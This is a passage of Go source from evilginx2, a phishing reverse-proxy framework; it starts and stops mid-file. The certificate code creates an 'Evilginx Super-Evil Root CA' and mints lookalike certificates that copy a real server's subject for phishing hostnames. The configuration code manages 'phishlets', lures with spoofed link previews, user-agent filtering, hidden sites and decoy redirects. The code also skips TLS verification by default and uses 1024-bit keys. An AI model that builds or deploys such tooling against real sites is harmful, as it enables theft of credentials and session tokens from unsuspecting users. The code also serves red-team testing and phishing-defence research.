129 | serialNumber, err := rand.Int(rand.Reader, serialNumberLimit)
130 | if err != nil {
131 | return nil, err
132 | }
133 |
134 | template := x509.Certificate{
135 | SerialNumber: serialNumber,
136 | Subject: pkix.Name{
137 | Country: []string{},
138 | Locality: []string{},
139 | Organization: []string{"Evilginx Signature Trust Co."},
140 | OrganizationalUnit: []string{},
141 | CommonName: "Evilginx Super-Evil Root CA",
142 | },
143 | NotBefore: notBefore,
144 | NotAfter: notAfter,
145 | KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
146 | ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth, x509.ExtKeyUsageServerAuth},
147 | BasicConstraintsValid: true,
148 | IsCA: true,
149 | }
150 |
151 | cert, err := x509.CreateCertificate(rand.Reader, &template, &template, &d.PrivateKey.PublicKey, d.PrivateKey)
152 | if err != nil {
153 | return nil, err
154 | }
155 | ca_crt_pem = pem.EncodeToMemory(&pem.Block{
156 | Type: "CERTIFICATE",
157 | Bytes: cert,
158 | })
159 | err = ioutil.WriteFile(filepath.Join(data_dir, "ca.crt"), ca_crt_pem, 0600)
160 | if err != nil {
161 | return nil, err
162 | }
163 | }
164 |
165 | d.CACert, err = tls.X509KeyPair(ca_crt_pem, pkey_pem)
166 | if err != nil {
167 | return nil, err
168 | }
169 |
170 | return d, nil
171 | }
172 |
173 | func (d *CertDb) Reset() {
174 | d.certUser.Email = "" //hostmaster@" + d.cfg.GetBaseDomain()
175 | }
176 |
177 | func (d *CertDb) SetupHostnameCertificate(hostname string) error {
178 | err := d.loadHostnameCertificate(hostname)
179 | if err != nil {
180 | log.Warning("failed to load certificate files for hostname '%s': %v", hostname, err)
181 | log.Info("requesting SSL/TLS certificates from LetsEncrypt...")
182 | err = d.obtainHostnameCertificate(hostname)
183 | if err != nil {
184 | return err
185 | }
186 | }
187 | return nil
188 | }
189 |
190 | func (d *CertDb) GetHostnameCertificate(hostname string) (*tls.Certificate, error) {
191 | cert, ok := d.hostCache[hostname]
192 | if ok {
193 | return cert, nil
194 | }
195 | return nil, fmt.Errorf("certificate for hostname '%s' not found", hostname)
196 | }
197 |
198 | func (d *CertDb) addHostnameCertificate(hostname string, cert *tls.Certificate) {
199 | d.hostCache[hostname] = cert
200 | }
201 |
202 | func (d *CertDb) loadHostnameCertificate(hostname string) error {
203 | crt_dir := filepath.Join(d.dataDir, HOSTS_DIR)
204 |
205 | cert, err := tls.LoadX509KeyPair(filepath.Join(crt_dir, hostname+".crt"), filepath.Join(crt_dir, hostname+".key"))
206 | if err != nil {
207 | return err
208 | }
209 | d.addHostnameCertificate(hostname, &cert)
210 | return nil
211 | }
212 |
213 | func (d *CertDb) obtainHostnameCertificate(hostname string) error {
214 | if err := CreateDir(filepath.Join(d.dataDir, HOSTS_DIR), 0700); err != nil {
215 | return err
216 | }
217 | crt_dir := filepath.Join(d.dataDir, HOSTS_DIR)
218 |
219 | domains := []string{hostname}
220 | cert_res, err := d.registerCertificate(domains)
221 | if err != nil {
222 | return err
223 | }
224 |
225 | cert, err := tls.X509KeyPair(cert_res.Certificate, cert_res.PrivateKey)
226 | if err != nil {
227 | return err
228 | }
229 | d.addHostnameCertificate(hostname, &cert)
230 |
231 | err = ioutil.WriteFile(filepath.Join(crt_dir, hostname+".crt"), cert_res.Certificate, 0600)
232 | if err != nil {
233 | return err
234 | }
235 | err = ioutil.WriteFile(filepath.Join(crt_dir, hostname+".key"), cert_res.PrivateKey, 0600)
236 | if err != nil {
237 | return err
238 | }
239 |
240 | return nil
241 | }
242 |
243 | func (d *CertDb) SetupPhishletCertificate(site_name string, domains []string) error {
244 | base_domain, ok := d.cfg.GetSiteDomain(site_name)
245 | if !ok {
246 | return fmt.Errorf("phishlet '%s' not found", site_name)
247 | }
248 |
249 | err := d.loadPhishletCertificate(site_name, base_domain, domains)
250 | if err != nil {
251 | log.Warning("failed to load certificate files for phishlet '%s', domain '%s': %v", site_name, base_domain, err)
252 | log.Info("requesting SSL/TLS certificates from LetsEncrypt...")
253 | err = d.obtainPhishletCertificate(site_name, base_domain, domains)
254 | if err != nil {
255 | return err
256 | }
257 | }
258 | return nil
259 | }
260 |
261 | func (d *CertDb) GetPhishletCertificate(site_name string, base_domain string) (*tls.Certificate, error) {
262 | m, ok := d.phishletCache[base_domain]
263 | if ok {
264 | cert, ok := m[site_name]
265 | if ok {
266 | return cert, nil
267 | }
268 | }
269 | return nil, fmt.Errorf("certificate for phishlet '%s' and domain '%s' not found", site_name, base_domain)
270 | }
271 |
272 | func (d *CertDb) addPhishletCertificate(site_name string, base_domain string, cert *tls.Certificate) {
273 | _, ok := d.phishletCache[base_domain]
274 | if !ok {
275 | d.phishletCache[base_domain] = make(map[string]*tls.Certificate)
276 | }
277 | d.phishletCache[base_domain][site_name] = cert
278 | }
279 |
280 | func (d *CertDb) loadPhishletCertificate(site_name string, base_domain string, domains []string) error {
281 | crt_dir := filepath.Join(d.dataDir, base_domain)
282 |
283 | cert, err := tls.LoadX509KeyPair(filepath.Join(crt_dir, site_name+".crt"), filepath.Join(crt_dir, site_name+".key"))
284 | if err != nil {
285 | return err
286 | }
287 |
288 | cert_x509, err := x509.ParseCertificate(cert.Certificate[0])
289 | if err != nil {
290 | return err
291 | }
292 |
293 | // ensure that there are no new subdomains
294 | for _, domain := range domains {
295 | found := false
296 | for _, DNSName := range cert_x509.DNSNames {
297 | if domain == DNSName {
298 | found = true
299 | break
300 | }
301 | }
302 | if !found {
303 | return fmt.Errorf("the '%s' sub domain is not supported", domain)
304 | }
305 | }
306 |
307 | // check if the certificate is expired
308 | now := time.Now()
309 | if now.After(cert_x509.NotAfter) {
310 | return fmt.Errorf("the certificate is expired")
311 | }
312 |
313 | // check if the certificate expires in less than one week
314 | one_week := 7 * 24 * time.Hour
315 | next_week := now.Add(one_week)
316 | if next_week.After(cert_x509.NotAfter) {
317 | return fmt.Errorf("the certificate expires in less than a week")
318 | }
319 |
320 | d.addPhishletCertificate(site_name, base_domain, &cert)
321 | return nil
322 | }
323 |
324 | func (d *CertDb) obtainPhishletCertificate(site_name string, base_domain string, domains []string) error {
325 | if err := CreateDir(filepath.Join(d.dataDir, base_domain), 0700); err != nil {
326 | return err
327 | }
328 | crt_dir := filepath.Join(d.dataDir, base_domain)
329 |
330 | cert_res, err := d.registerCertificate(domains)
331 | if err != nil {
332 | return err
333 | }
334 |
335 | cert, err := tls.X509KeyPair(cert_res.Certificate, cert_res.PrivateKey)
336 | if err != nil {
337 | return err
338 | }
339 |
340 | d.addPhishletCertificate(site_name, base_domain, &cert)
341 |
342 | err = ioutil.WriteFile(filepath.Join(crt_dir, site_name+".crt"), cert_res.Certificate, 0600)
343 | if err != nil {
344 | return err
345 | }
346 | err = ioutil.WriteFile(filepath.Join(crt_dir, site_name+".key"), cert_res.PrivateKey, 0600)
347 | if err != nil {
348 | return err
349 | }
350 |
351 | return nil
352 | }
353 |
354 | func (d *CertDb) registerCertificate(domains []string) (*certificate.Resource, error) {
355 | var err error
356 | d.certUser = CertUser{
357 | Email: "", //hostmaster@" + d.cfg.GetBaseDomain(),
358 | key: d.PrivateKey,
359 | }
360 |
361 | config := lego.NewConfig(&d.certUser)
362 | config.CADirURL = acmeURL
363 | config.Certificate.KeyType = certcrypto.RSA2048
364 |
365 | d.client, err = lego.NewClient(config)
366 | if err != nil {
367 | return nil, err
368 | }
369 |
370 | d.httpChallenge = &HTTPChallenge{crt_db: d}
371 |
372 | d.client.Challenge.SetHTTP01Provider(d.httpChallenge)
373 | d.client.Challenge.Remove(challenge.TLSALPN01)
374 |
375 | reg, err := d.client.Registration.Register(registration.RegisterOptions{TermsOfServiceAgreed: true})
376 | if err != nil {
377 | return nil, err
378 | }
379 | d.certUser.Registration = reg
380 |
381 | req := certificate.ObtainRequest{
382 | Domains: domains,
383 | Bundle: true,
384 | }
385 |
386 | cert_res, err := d.client.Certificate.Obtain(req)
387 | if err != nil {
388 | return nil, err
389 | }
390 |
391 | return cert_res, nil
392 | }
393 |
394 | func (d *CertDb) getServerCertificate(host string, port int) *x509.Certificate {
395 | log.Debug("Fetching TLS certificate from %s:%d ...", host, port)
396 |
397 | config := tls.Config{
398 | InsecureSkipVerify: (os.Getenv("VALIDATETLS") != "YES"),
399 | }
400 | conn, err := tls.Dial("tcp", fmt.Sprintf("%s:%d", host, port), &config)
401 | if err != nil {
402 | log.Warning("Could not fetch TLS certificate from %s:%d: %s", host, port, err)
403 | return nil
404 | }
405 | defer conn.Close()
406 |
407 | state := conn.ConnectionState()
408 |
409 | return state.PeerCertificates[0]
410 | }
411 |
412 | func (d *CertDb) SignCertificateForHost(host string, phish_host string, port int) (cert *tls.Certificate, err error) {
413 | var x509ca *x509.Certificate
414 | var template x509.Certificate
415 |
416 | cert, ok := d.tls_cache[host]
417 | if ok {
418 | return cert, nil
419 | }
420 |
421 | if x509ca, err = x509.ParseCertificate(d.CACert.Certificate[0]); err != nil {
422 | return nil, err
423 | }
424 |
425 | if phish_host == "" || host == phish_host {
426 | serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128)
427 | serialNumber, err := rand.Int(rand.Reader, serialNumberLimit)
428 | if err != nil {
429 | return nil, err
430 | }
431 |
432 | template = x509.Certificate{
433 | SerialNumber: serialNumber,
434 | Issuer: x509ca.Subject,
435 | Subject: pkix.Name{Organization: []string{"ACME Trust"}},
436 | NotBefore: time.Now(),
437 | NotAfter: time.Now().Add(time.Hour * 24 * 180),
438 | KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,
439 | ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
440 | DNSNames: []string{host},
441 | BasicConstraintsValid: true,
442 | }
443 | template.Subject.CommonName = host
444 | } else {
445 | srvCert := d.getServerCertificate(host, port)
446 | if srvCert == nil {
447 | return nil, fmt.Errorf("failed to get TLS certificate for: %s", host)
448 | }
449 | serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128)
450 | serialNumber, err := rand.Int(rand.Reader, serialNumberLimit)
451 | if err != nil {
452 | return nil, err
453 | }
454 |
455 | template = x509.Certificate{
456 | SerialNumber: serialNumber,
457 | Issuer: x509ca.Subject,
458 | Subject: srvCert.Subject,
459 | NotBefore: srvCert.NotBefore,
460 | NotAfter: srvCert.NotAfter,
461 | KeyUsage: srvCert.KeyUsage,
462 | ExtKeyUsage: srvCert.ExtKeyUsage,
463 | IPAddresses: srvCert.IPAddresses,
464 | DNSNames: []string{phish_host},
465 | BasicConstraintsValid: true,
466 | }
467 | template.Subject.CommonName = phish_host
468 |
469 | }
470 |
471 | var pkey *rsa.PrivateKey
472 | if pkey, err = rsa.GenerateKey(rand.Reader, 1024); err != nil {
473 | return nil, err
474 | }
475 |
476 | var derBytes []byte
477 | if derBytes, err = x509.CreateCertificate(rand.Reader, &template, x509ca, &pkey.PublicKey, d.CACert.PrivateKey); err != nil {
478 | return nil, err
479 | }
480 |
481 | cert = &tls.Certificate{
482 | Certificate: [][]byte{derBytes, d.CACert.Certificate[0]},
483 | PrivateKey: pkey,
484 | }
485 |
486 | d.tls_cache[host] = cert
487 | return cert, nil
488 | }
489 |
--------------------------------------------------------------------------------
/core/config.go:
--------------------------------------------------------------------------------
1 | package core
2 |
3 | import (
4 | "fmt"
5 | "os"
6 | "path/filepath"
7 | "strings"
8 |
9 | "github.com/kgretzky/evilginx2/log"
10 |
11 | "github.com/spf13/viper"
12 | )
13 |
14 | type Lure struct {
15 | Hostname string `mapstructure:"hostname" yaml:"hostname"`
16 | Path string `mapstructure:"path" yaml:"path"`
17 | RedirectUrl string `mapstructure:"redirect_url" yaml:"redirect_url"`
18 | Phishlet string `mapstructure:"phishlet" yaml:"phishlet"`
19 | Template string `mapstructure:"template" yaml:"template"`
20 | UserAgentFilter string `mapstructure:"ua_filter" yaml:"ua_filter"`
21 | Info string `mapstructure:"info" yaml:"info"`
22 | OgTitle string `mapstructure:"og_title" yaml:"og_title"`
23 | OgDescription string `mapstructure:"og_desc" yaml:"og_desc"`
24 | OgImageUrl string `mapstructure:"og_image" yaml:"og_image"`
25 | OgUrl string `mapstructure:"og_url" yaml:"og_url"`
26 | }
27 |
28 | type Config struct {
29 | siteDomains map[string]string
30 | baseDomain string
31 | serverIP string
32 | proxyType string
33 | proxyAddress string
34 | proxyPort int
35 | proxyUsername string
36 | proxyPassword string
37 | blackListMode string
38 | proxyEnabled bool
39 | sitesEnabled map[string]bool
40 | sitesHidden map[string]bool
41 | phishlets map[string]*Phishlet
42 | phishletNames []string
43 | activeHostnames []string
44 | redirectParam string
45 | verificationParam string
46 | verificationToken string
47 | redirectUrl string
48 | templatesDir string
49 | lures []*Lure
50 | cfg *viper.Viper
51 | }
52 |
53 | const (
54 | CFG_SITE_DOMAINS = "site_domains"
55 | CFG_BASE_DOMAIN = "server"
56 | CFG_SERVER_IP = "ip"
57 | CFG_SITES_ENABLED = "sites_enabled"
58 | CFG_SITES_HIDDEN = "sites_hidden"
59 | CFG_REDIRECT_PARAM = "redirect_key"
60 | CFG_VERIFICATION_PARAM = "verification_key"
61 | CFG_VERIFICATION_TOKEN = "verification_token"
62 | CFG_REDIRECT_URL = "redirect_url"
63 | CFG_LURES = "lures"
64 | CFG_PROXY_TYPE = "proxy_type"
65 | CFG_PROXY_ADDRESS = "proxy_address"
66 | CFG_PROXY_PORT = "proxy_port"
67 | CFG_PROXY_USERNAME = "proxy_username"
68 | CFG_PROXY_PASSWORD = "proxy_password"
69 | CFG_PROXY_ENABLED = "proxy_enabled"
70 | CFG_BLACKLIST_MODE = "blacklist_mode"
71 | )
72 |
73 | const DEFAULT_REDIRECT_URL = "https://www.youtube.com/watch?v=dQw4w9WgXcQ" // Rick'roll
74 |
75 | func NewConfig(cfg_dir string, path string) (*Config, error) {
76 | c := &Config{
77 | siteDomains: make(map[string]string),
78 | sitesEnabled: make(map[string]bool),
79 | sitesHidden: make(map[string]bool),
80 | phishlets: make(map[string]*Phishlet),
81 | phishletNames: []string{},
82 | lures: []*Lure{},
83 | }
84 |
85 | c.cfg = viper.New()
86 | c.cfg.SetConfigType("yaml")
87 |
88 | if path == "" {
89 | path = filepath.Join(cfg_dir, "config.yaml")
90 | }
91 | err := os.MkdirAll(filepath.Dir(path), os.FileMode(0700))
92 | if err != nil {
93 | return nil, err
94 | }
95 | var created_cfg bool = false
96 | c.cfg.SetConfigFile(path)
97 | if _, err := os.Stat(path); os.IsNotExist(err) {
98 | created_cfg = true
99 | err = c.cfg.WriteConfigAs(path)
100 | if err != nil {
101 | return nil, err
102 | }
103 | }
104 |
105 | err = c.cfg.ReadInConfig()
106 | if err != nil {
107 | return nil, err
108 | }
109 |
110 | c.baseDomain = c.cfg.GetString(CFG_BASE_DOMAIN)
111 | c.serverIP = c.cfg.GetString(CFG_SERVER_IP)
112 | c.siteDomains = c.cfg.GetStringMapString(CFG_SITE_DOMAINS)
113 | c.redirectParam = c.cfg.GetString(CFG_REDIRECT_PARAM)
114 | c.verificationParam = c.cfg.GetString(CFG_VERIFICATION_PARAM)
115 | c.verificationToken = c.cfg.GetString(CFG_VERIFICATION_TOKEN)
116 | c.redirectUrl = c.cfg.GetString(CFG_REDIRECT_URL)
117 | c.proxyType = c.cfg.GetString(CFG_PROXY_TYPE)
118 | c.proxyAddress = c.cfg.GetString(CFG_PROXY_ADDRESS)
119 | c.proxyPort = c.cfg.GetInt(CFG_PROXY_PORT)
120 | c.proxyUsername = c.cfg.GetString(CFG_PROXY_USERNAME)
121 | c.proxyPassword = c.cfg.GetString(CFG_PROXY_PASSWORD)
122 | c.proxyEnabled = c.cfg.GetBool(CFG_PROXY_ENABLED)
123 | c.blackListMode = c.cfg.GetString(CFG_BLACKLIST_MODE)
124 | s_enabled := c.cfg.GetStringSlice(CFG_SITES_ENABLED)
125 | for _, site := range s_enabled {
126 | c.sitesEnabled[site] = true
127 | }
128 | s_hidden := c.cfg.GetStringSlice(CFG_SITES_HIDDEN)
129 | for _, site := range s_hidden {
130 | c.sitesHidden[site] = true
131 | }
132 |
133 | if !stringExists(c.blackListMode, []string{"all", "unauth", "off"}) {
134 | c.SetBlacklistMode("off")
135 | }
136 |
137 | var param string
138 | if c.redirectParam == "" {
139 | param = strings.ToLower(GenRandomString(2))
140 | c.SetRedirectParam(param)
141 | }
142 | if c.verificationParam == "" {
143 | for {
144 | param = strings.ToLower(GenRandomString(2))
145 | if param != c.redirectParam {
146 | break
147 | }
148 | }
149 | c.SetVerificationParam(param)
150 | }
151 | if c.verificationToken == "" {
152 | c.SetVerificationToken(GenRandomToken()[:4])
153 | }
154 | if c.redirectUrl == "" && created_cfg {
155 | c.SetRedirectUrl(DEFAULT_REDIRECT_URL)
156 | }
157 | c.lures = []*Lure{}
158 | c.cfg.UnmarshalKey(CFG_LURES, &c.lures)
159 |
160 | return c, nil
161 | }
162 |
163 | func (c *Config) SetSiteHostname(site string, domain string) bool {
164 | if c.baseDomain == "" {
165 | log.Error("you need to set server domain, first. type: server your-domain.com")
166 | return false
167 | }
168 | if _, err := c.GetPhishlet(site); err != nil {
169 | log.Error("%v", err)
170 | return false
171 | }
172 | if domain != c.baseDomain && !strings.HasSuffix(domain, "."+c.baseDomain) {
173 | log.Error("phishlet hostname must end with '%s'", c.baseDomain)
174 | return false
175 | }
176 | c.siteDomains[site] = domain
177 | c.cfg.Set(CFG_SITE_DOMAINS, c.siteDomains)
178 | log.Info("phishlet '%s' hostname set to: %s", site, domain)
179 | c.cfg.WriteConfig()
180 | return true
181 | }
182 |
183 | func (c *Config) SetBaseDomain(domain string) {
184 | c.baseDomain = domain
185 | c.cfg.Set(CFG_BASE_DOMAIN, c.baseDomain)
186 | log.Info("server domain set to: %s", domain)
187 | c.cfg.WriteConfig()
188 | }
189 |
190 | func (c *Config) SetServerIP(ip_addr string) {
191 | c.serverIP = ip_addr
192 | c.cfg.Set(CFG_SERVER_IP, c.serverIP)
193 | log.Info("server IP set to: %s", ip_addr)
194 | c.cfg.WriteConfig()
195 | }
196 |
197 | func (c *Config) EnableProxy(enabled bool) {
198 | c.proxyEnabled = enabled
199 | c.cfg.Set(CFG_PROXY_ENABLED, c.proxyEnabled)
200 | if enabled {
201 | log.Info("enabled proxy")
202 | } else {
203 | log.Info("disabled proxy")
204 | }
205 | c.cfg.WriteConfig()
206 | }
207 |
208 | func (c *Config) SetProxyType(ptype string) {
209 | ptypes := []string{"http", "https", "socks5", "socks5h"}
210 | if !stringExists(ptype, ptypes) {
211 | log.Error("invalid proxy type selected")
212 | return
213 | }
214 | c.proxyType = ptype
215 | c.cfg.Set(CFG_PROXY_TYPE, c.proxyType)
216 | log.Info("proxy type set to: %s", c.proxyType)
217 | c.cfg.WriteConfig()
218 | }
219 |
220 | func (c *Config) SetProxyAddress(address string) {
221 | c.proxyAddress = address
222 | c.cfg.Set(CFG_PROXY_ADDRESS, c.proxyAddress)
223 | log.Info("proxy address set to: %s", c.proxyAddress)
224 | c.cfg.WriteConfig()
225 | }
226 |
227 | func (c *Config) SetProxyPort(port int) {
228 | c.proxyPort = port
229 | c.cfg.Set(CFG_PROXY_PORT, c.proxyPort)
230 | log.Info("proxy port set to: %d", c.proxyPort)
231 | c.cfg.WriteConfig()
232 | }
233 |
234 | func (c *Config) SetProxyUsername(username string) {
235 | c.proxyUsername = username
236 | c.cfg.Set(CFG_PROXY_USERNAME, c.proxyUsername)
237 | log.Info("proxy username set to: %s", c.proxyUsername)
238 | c.cfg.WriteConfig()
239 | }
240 |
241 | func (c *Config) SetProxyPassword(password string) {
242 | c.proxyPassword = password
243 | c.cfg.Set(CFG_PROXY_PASSWORD, c.proxyPassword)
244 | log.Info("proxy password set to: %s", c.proxyPassword)
245 | c.cfg.WriteConfig()
246 | }
247 |
248 | func (c *Config) IsLureHostnameValid(hostname string) bool {
249 | for _, l := range c.lures {
250 | if l.Hostname == hostname {
251 | if c.sitesEnabled[l.Phishlet] {
252 | return true
253 | }
254 | }
255 | }
256 | return false
257 | }
258 |
259 | func (c *Config) SetSiteEnabled(site string) error {
260 | if _, err := c.GetPhishlet(site); err != nil {
261 | log.Error("%v", err)
262 | return err
263 | }
264 | if !c.IsSiteEnabled(site) {
265 | c.sitesEnabled[site] = true
266 | }
267 | c.refreshActiveHostnames()
268 | var sites []string
269 | for s := range c.sitesEnabled {
270 | sites = append(sites, s)
271 | }
272 | c.cfg.Set(CFG_SITES_ENABLED, sites)
273 | log.Info("enabled phishlet '%s'", site)
274 | c.cfg.WriteConfig()
275 | return nil
276 | }
277 |
278 | func (c *Config) SetSiteDisabled(site string) error {
279 | if _, err := c.GetPhishlet(site); err != nil {
280 | log.Error("%v", err)
281 | return err
282 | }
283 | if c.IsSiteEnabled(site) {
284 | delete(c.sitesEnabled, site)
285 | }
286 | c.refreshActiveHostnames()
287 | var sites []string
288 | for s := range c.sitesEnabled {
289 | sites = append(sites, s)
290 | }
291 | c.cfg.Set(CFG_SITES_ENABLED, sites)
292 | log.Info("disabled phishlet '%s'", site)
293 | c.cfg.WriteConfig()
294 | return nil
295 | }
296 |
297 | func (c *Config) SetSiteHidden(site string, hide bool) error {
298 | if _, err := c.GetPhishlet(site); err != nil {
299 | log.Error("%v", err)
300 | return err
301 | }
302 | if hide {
303 | if !c.IsSiteHidden(site) {
304 | c.sitesHidden[site] = true
305 | }
306 | } else {
307 | if c.IsSiteHidden(site) {
308 | delete(c.sitesHidden, site)
309 | }
310 | }
311 | c.refreshActiveHostnames()
312 | var sites []string
313 | for s := range c.sitesHidden {
314 | sites = append(sites, s)
315 | }
316 | c.cfg.Set(CFG_SITES_HIDDEN, sites)
317 | if hide {
318 | log.Info("phishlet '%s' is now hidden and all requests to it will be redirected", site)
319 | } else {
320 | log.Info("phishlet '%s' is now reachable and visible from the outside", site)
321 | }
322 | c.cfg.WriteConfig()
323 | return nil
324 | }
325 |
326 | func (c *Config) SetTemplatesDir(path string) {
327 | c.templatesDir = path
328 | }
329 |
330 | func (c *Config) ResetAllSites() {
331 | for s := range c.sitesEnabled {
332 | c.SetSiteDisabled(s)
333 | }
334 | for s := range c.phishlets {
335 | c.siteDomains[s] = ""
336 | }
337 | c.cfg.Set(CFG_SITE_DOMAINS, c.siteDomains)
338 | c.cfg.WriteConfig()
339 | }
340 |
341 | func (c *Config) IsSiteEnabled(site string) bool {
342 | s, ok := c.sitesEnabled[site]
343 | if !ok {
344 | return false
345 | }
346 | return s
347 | }
348 |
349 | func (c *Config) IsSiteHidden(site string) bool {
350 | s, ok := c.sitesHidden[site]
351 | if !ok {
352 | return false
353 | }
354 | return s
355 | }
356 |
357 | func (c *Config) GetEnabledSites() []string {
358 | var sites []string
359 | for s := range c.sitesEnabled {
360 | if len(s) > 0 {
361 | sites = append(sites, s)
362 | }
363 | }
364 | return sites
365 | }
366 |
367 | func (c *Config) SetRedirectParam(param string) {
368 | c.redirectParam = param
369 | c.cfg.Set(CFG_REDIRECT_PARAM, param)
370 | log.Info("redirect parameter set to: %s", param)
371 | c.cfg.WriteConfig()
372 | }
373 |
374 | func (c *Config) SetBlacklistMode(mode string) {
375 | if stringExists(mode, []string{"all", "unauth", "off"}) {
376 | c.blackListMode = mode
377 | c.cfg.Set(CFG_BLACKLIST_MODE, mode)
378 | c.cfg.WriteConfig()
379 | }
380 | log.Info("blacklist mode set to: %s", mode)
381 | }
382 |
383 | func (c *Config) SetVerificationParam(param string) {
384 | c.verificationParam = param
385 | c.cfg.Set(CFG_VERIFICATION_PARAM, param)
386 | log.Info("verification parameter set to: %s", param)
387 | c.cfg.WriteConfig()
388 | }
389 |
390 | func (c *Config) SetVerificationToken(token string) {
391 | c.verificationToken = token
392 | c.cfg.Set(CFG_VERIFICATION_TOKEN, token)
393 | log.Info("verification token set to: %s", token)
394 | c.cfg.WriteConfig()
395 | }
396 |
397 | func (c *Config) SetRedirectUrl(url string) {
398 | c.redirectUrl = url
399 | c.cfg.Set(CFG_REDIRECT_URL, url)
400 | log.Info("unauthorized request redirection URL set to: %s", url)
401 | c.cfg.WriteConfig()
402 | }
403 |
404 | func (c *Config) refreshActiveHostnames() {
405 | c.activeHostnames = []string{}
406 | sites := c.GetEnabledSites()
407 | for _, site := range sites {
408 | pl, err := c.GetPhishlet(site)
409 | if err != nil {
410 | continue
411 | }
412 | c.activeHostnames = append(c.activeHostnames, pl.GetPhishHosts()...)
413 | }
414 | for _, l := range c.lures {
415 | if stringExists(l.Phishlet, sites) {
416 | if l.Hostname != "" {
417 | c.activeHostnames = append(c.activeHostnames, l.Hostname)
418 | }
419 | }
420 | }
421 | }
422 |
423 | func (c *Config) GetActiveHostnames() []string {
424 | return c.activeHostnames
425 | }
426 |
427 | func (c *Config) IsActiveHostname(host string) bool {
428 | if host[len(host)-1:] == "." {
429 | host = host[:len(host)-1]
430 | }
431 | for _, h := range c.activeHostnames {
432 | if h == host {
433 | return true
434 | }
435 | }
436 | return false
437 | }
438 |
439 | func (c *Config) AddPhishlet(site string, pl *Phishlet) {
440 | c.phishletNames = append(c.phishletNames, site)
441 | c.phishlets[site] = pl
442 | }
443 |
444 | func (c *Config) AddLure(site string, l *Lure) {
445 | c.lures = append(c.lures, l)
446 | c.cfg.Set(CFG_LURES, c.lures)
447 | c.cfg.WriteConfig()
448 | }
449 |
450 | func (c *Config) SetLure(index int, l *Lure) error {
451 | if index >= 0 && index < len(c.lures) {
452 | c.lures[index] = l
453 | } else {
454 | return fmt.Errorf("index out of bounds: %d", index)
455 | }
456 | c.cfg.Set(CFG_LURES, c.lures)
457 | c.cfg.WriteConfig()
458 | return nil
459 | }
460 |
461 | func (c *Config) DeleteLure(index int) error {
462 | if index >= 0 && index < len(c.lures) {
463 | c.lures = append(c.lures[:index], c.lures[index+1:]...)
464 | } else {
465 | return fmt.Errorf("index out of bounds: %d", index)
466 | }
467 | c.cfg.Set(CFG_LURES, c.lures)
468 | c.cfg.WriteConfig()
469 | return nil
470 | }
471 |
472 | func (c *Config) DeleteLures(index []int) []int {
473 | tlures := []*Lure{}
474 | di := []int{}
475 | for n, l := range c.lures {
476 | if !intExists(n, index) {
477 | tlures = append(tlures, l)
478 | } else {
479 | di = append(di, n)
480 | }
481 | }
482 | if len(di) > 0 {
483 | c.lures = tlures
484 | c.cfg.Set(CFG_LURES, c.lures)
485 | c.cfg.WriteConfig()
486 | }
487 | return di
488 | }
489 |
490 | func (c *Config) GetLure(index int) (*Lure, error) {
491 | if index >= 0 && index < len(c.lures) {
492 | return c.lures[index], nil
493 | } else {
494 | return nil, fmt.Errorf("index out of bounds: %d", index)
495 | }
496 | }
497 |
498 | func (c *Config) GetLureByPath(site string, path string) (*Lure, error) {
499 | for _, l := range c.lures {
500 | if l.Phishlet == site {
501 | if l.Path == path {
502 | return l, nil
503 | }
504 | }
505 | }
506 | return nil, fmt.Errorf("lure for path '%s' not found", path)
507 | }
508 |
509 | func (c *Config) GetPhishlet(site string) (*Phishlet, error) {
510 | pl, ok := c.phishlets[site]
511 | if !ok {
512 | return nil, fmt.Errorf("phishlet '%s' not found", site)
513 | }
514 | return pl, nil
515 | }
516 |
517 | func (c *Config) GetPhishletNames() []string {
518 | return c.phishletNames
519 | }
520 |
521 | func (c *Config) GetSiteDomain(site string) (string, bool) {
522 | domain, ok := c.siteDomains[site]
523 | return domain, ok
524 | }
525 |
526 | func (c *Config) GetAllDomains() []string {
527 | var ret []string
528 | for _, dom := range c.siteDomains {
529 | if len(dom) > 0 {
530 | ret = append(ret, dom)
531 | }
532 | }
533 | return ret
534 | }
535 |
536 | func (c *Config) GetBaseDomain() string {
537 | return c.baseDomain
538 | }
539 |
540 | func (c *Config) GetServerIP() string {
541 | return c.serverIP
542 | }
543 |
544 | func (c *Config) GetTemplatesDir() string {
545 | return c.templatesDir
546 | }
547 |
548 | func (c *Config) GetBlacklistMode() string {
549 | return c.blackListMode
550 | }
551 |
--------------------------------------------------------------------------------
/core/help.go:
--------------------------------------------------------------------------------
1 | package core
2 |
3 | import (
4 | "fmt"
5 |
6 | "github.com/chzyer/readline"
7 | "github.com/fatih/color"
8 |
9 | "github.com/kgretzky/evilginx2/log"
10 | )
11 |
12 | type Help struct {
13 | cmds map[string][]string
14 | categories []string
15 | line_help map[string]string
16 | cmd_names []string
17 | sub_disp map[string][]string
18 | cmd_infos map[string]string
19 | sub_cmds map[string]map[string]string
20 | cmd_layers map[string]int
21 | cmd_completer map[string]*readline.PrefixCompleter
22 | }
23 |
24 | func NewHelp() (*Help, error) {
25 | h := &Help{
26 | cmds: make(map[string][]string),
27 | categories: []string{},
28 | line_help: make(map[string]string),
29 | cmd_names: []string{},
30 | sub_disp: make(map[string][]string),
31 | cmd_infos: make(map[string]string),
32 | sub_cmds: make(map[string]map[string]string),
33 | cmd_layers: make(map[string]int),
34 | cmd_completer: make(map[string]*readline.PrefixCompleter),
35 | }
36 | return h, nil
37 | }
38 |
39 | func (h *Help) AddCommand(cmd string, category string, cmd_help string, info string, layer int, completer *readline.PrefixCompleter) {
40 | if _, ok := h.cmds[category]; !ok {
41 | h.cmds[category] = []string{}
42 | h.categories = append(h.categories, category)
43 | }
44 |
45 | h.cmd_infos[cmd] = info
46 | h.sub_cmds[cmd] = make(map[string]string)
47 | h.sub_disp[cmd] = []string{}
48 | h.cmds[category] = append(h.cmds[category], cmd)
49 | h.cmd_names = append(h.cmd_names, cmd)
50 | h.line_help[cmd] = cmd_help
51 | h.cmd_layers[cmd] = layer
52 | h.cmd_completer[cmd] = completer
53 | }
54 |
55 | func (h *Help) AddSubCommand(cmd string, sub_cmds []string, sub_disp string, cmd_help string) {
56 | if subm, ok := h.sub_cmds[cmd]; ok {
57 | subm[sub_disp] = cmd_help
58 | }
